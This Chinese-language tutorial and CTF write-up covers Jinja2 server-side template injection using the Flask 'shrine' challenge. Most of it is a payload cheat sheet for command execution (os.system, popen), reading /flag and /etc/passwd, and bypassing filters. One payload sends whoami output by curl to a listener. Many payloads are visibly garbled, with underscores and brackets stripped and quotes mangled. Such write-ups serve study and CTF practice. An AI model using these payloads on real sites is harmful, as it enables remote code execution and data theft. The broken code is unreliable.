参考文章1
参考文章2
构造方法文章
sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
模板渲染分解为前端渲染和后端渲染,还有浏览器渲染。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。
这里模板注入前加“服务端”,这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/' )
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
+ s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
基本语法如下:
- {{ … }} for Expressions 里面可以是一个表达式,如1+1,字符串等,支持调用对象的方法,会渲染结果
- {% … %} for Statements ,可以实现for,if等语句,还支持set语法,可以给变量赋值
根据提示测试 /shrine/{{5+9}}
Flask 内置了两个函数url_for 和 get_flashed_messages,还有一些内置的对象
{{url_for.globals[‘builtins’].import(‘os’).system(‘ls’)}}
{{request.init.globals[‘builtins’].open(’/flag’).read()}}
如果过滤了config,又需要查config
{{config}}
{{get_flashed_messages.globals[‘current_app’].config}}
虽然模块间的变量不共享,但是所有类都是object的子类,所以可以通过object类而得到其他类
利用
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[1]
session.__class__.__mro__[1]
redirect.__class__.__mro__[1]
等得到object 对象,然后通过__subclasses__()方法,得到所有子类,在找重载过__inti__,__repr__等特殊方法的类,利用这些方法的__globals__得到,builtins,或者os,codecs等可以进行代码执行的调用.
(1) 常见payload
// 59 为warnings.WarningMessag
‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘eval’
(2) 不使用globals的payload
//
如果可以找到warnings.catch_warnings类,则可以不使用 globals
‘’.class.mro[2].subclasses()60._module.builtins’import’.system(“calc”)
前置知识
A[‘init’]
也可以访问A的方法,属性
Jinja2 的attr 过滤器可以获得对象的属性或方法
flask内置的request对象可以得到请求的信息
request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name
{{’’.class.mro[1].subclasses()[59].init.globals[‘snitliub’[::-1]]‘eval’}}
{{’’.class.mro[1].subclasses()[59].init.globals[‘buil’+'tins’[::-1]]‘eval’}}
// url?a=eval
‘’.class.mro[2].subclasses()[59].init.globals.builtins.request.args.a
// Cookie: aa=class;bb=mro;cc=subclasses
{{((request|attr(request.cookies.get(‘aa’))|attr(request.cookies.get(‘bb’))|list).pop(-1))|attr(request.cookies.get(‘cc’))()}}
如果request被ban,可以考虑通过{{(config.str()[2])+(config.str()[3])}}拼接需要的字符
查出chr函数,利用set赋值,然后使用
{% set chr=().class.bases.getitem(0).subclasses()[59].init.globals.builtins.chr %}{{ ().class.bases.getitem(0).subclasses().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
get % 找到特殊字符<,url编码,得到% {%set pc =
g|lower|list|first|urlencode|first%}get ‘c’
{%set c=dict(c=1).keys()|reverse|first%}
字符串拼接
{%set udl=dict(a=pc,c=c).values()|join %}
可以得到任意字符了
get _ {%set udl2=udl%(95)%}{{udl}}
其他奇奇怪怪的过滤,善用Flask/Jinja2的文档,用内置过滤器,函数,变量,魔术方法等绕过
#getitem、pop
‘’.class.mro.getitem(2).subclasses().pop(40)(’/etc/passwd’).read()
‘’.class.mro.getitem(2).subclasses().pop(59).init.func_globals.linecache.os.popen(‘ls’).read()
‘’.class.mro.getitem(2).subclasses().getitem(59).init.globals.getitem(‘builtins’).getitem(‘import’)(‘os’).system(‘calc’)
#用{%%}标记
{% if ‘’.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen(‘curl http://127.0.0.1:7999/?i=whoami
’).read()==‘p’ %}1{% endif %}
这样会没有回显,考虑带外或者盲注
和过滤字符串一样绕过即可
- local是函数内的局部变量
- global是模块内的全局变量
- builtin是python内建函数,如open
由于无法直接访问config,直接求出他的绝对路径
/shrine/{{url_for.globals}}
然后访问 /shrine/{{url_for.globals[‘current_app’].config}}